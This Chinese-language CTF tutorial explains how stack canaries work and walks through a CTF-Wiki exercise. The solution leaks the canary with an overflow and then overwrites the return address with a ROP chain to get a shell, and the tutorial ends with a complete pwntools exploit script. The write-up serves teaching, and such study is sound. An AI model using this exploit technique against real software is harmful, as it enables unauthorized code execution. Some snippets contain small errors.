一.canary的基本原理
来讲一下canary简单题目的基本思路,首先先讲一下canary的基本原理
首先canary是是用来防范栈溢出的保护机制,它的位置位于函数栈之间(也就是esp和ebp之间),
实战中我们需要看canary地址和esp和ebp的距离,先来一张图来示意一下
如果我们用ida来查看的话,canary的位置一般在main函数开头位置
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
```
canary通常存放在fs寄存器0x28的位置,%rbp-0x8的位置
直接上实战
我们直接拿ctf Wiki的canary的例题来看:
https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/
一般canary相关的题目,在main函数中可以发现
v3=__readfsword(0x28) #canary 位于fs寄存器0x28的位置__
v3=__readfsword(0x28)
return __readfsword(0x28)
- `__readfsqword(0x28u)`从FS段寄存器的偏移量`0x28`处读取一个随机值(Canary),存入局部变量`v3`。
- **函数返回前**会通过`__readfsqword(0x28u) ^ v3`验证Canary是否被修改。若不一致(如栈溢出覆盖了Canary),程序会触发`__stack_chk_fail`终止运行
在实战中,当我们试图用栈溢出覆盖缓冲区时,如果没有绕过canary,canary原来的值就会变化,之后检查canary的值的时候发现canary的值被改变,行___stack_chk_fail函数,就会提前退出程序。
所以基本上来说我们在实战中,要先到canary的值,并且在合适的位置绕过它,覆盖canary的值,最终跳转自己的目标函数
二.实战
所以我们第一步就是:绕过canary
通过分析ida,我们可以看到
unsigned __int64 vuln()
{
signed int i; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200uLL);
printf(&buf, &buf);
}
return __readfsqword(0x28u) ^ v3;
}
这里v3就是canary,v3距离rbp为0x8,buf距离rbp为0x70 ,那么我们可以输入 0x70-0x8=0x68的字符串来泄露canary的值,
首先来泄露canary的值
```
payload = b'a'*0x68
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil(b'a'*0x68+'\n')
canary = u64(p.recv(7).ljust(8,'\x00'))#这里canary的末尾是\x00结尾的
print("canary=====>",hex(canary))
```
然后我们来在绕过的基础上跳转目标地址
payload = 'a'*104 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)
最后完整的exp
from pwn import *
#context.log_level = 'debug'
p = process("./pwn1")
pop_rdi_ret = 0x0400923
binsh = 0x040077d
print("========CANARY_LEAK=========")
payload = 'a'*0x68
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil('a'*0x68+'\n')
canary = u64(p.recv(7).ljust(8,'\x00'))
print("canary=====>",hex(canary))
print("========GET_SHELL=========")
payload = 'a'*0x68 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)
p.sendline(payload)
p.interactive()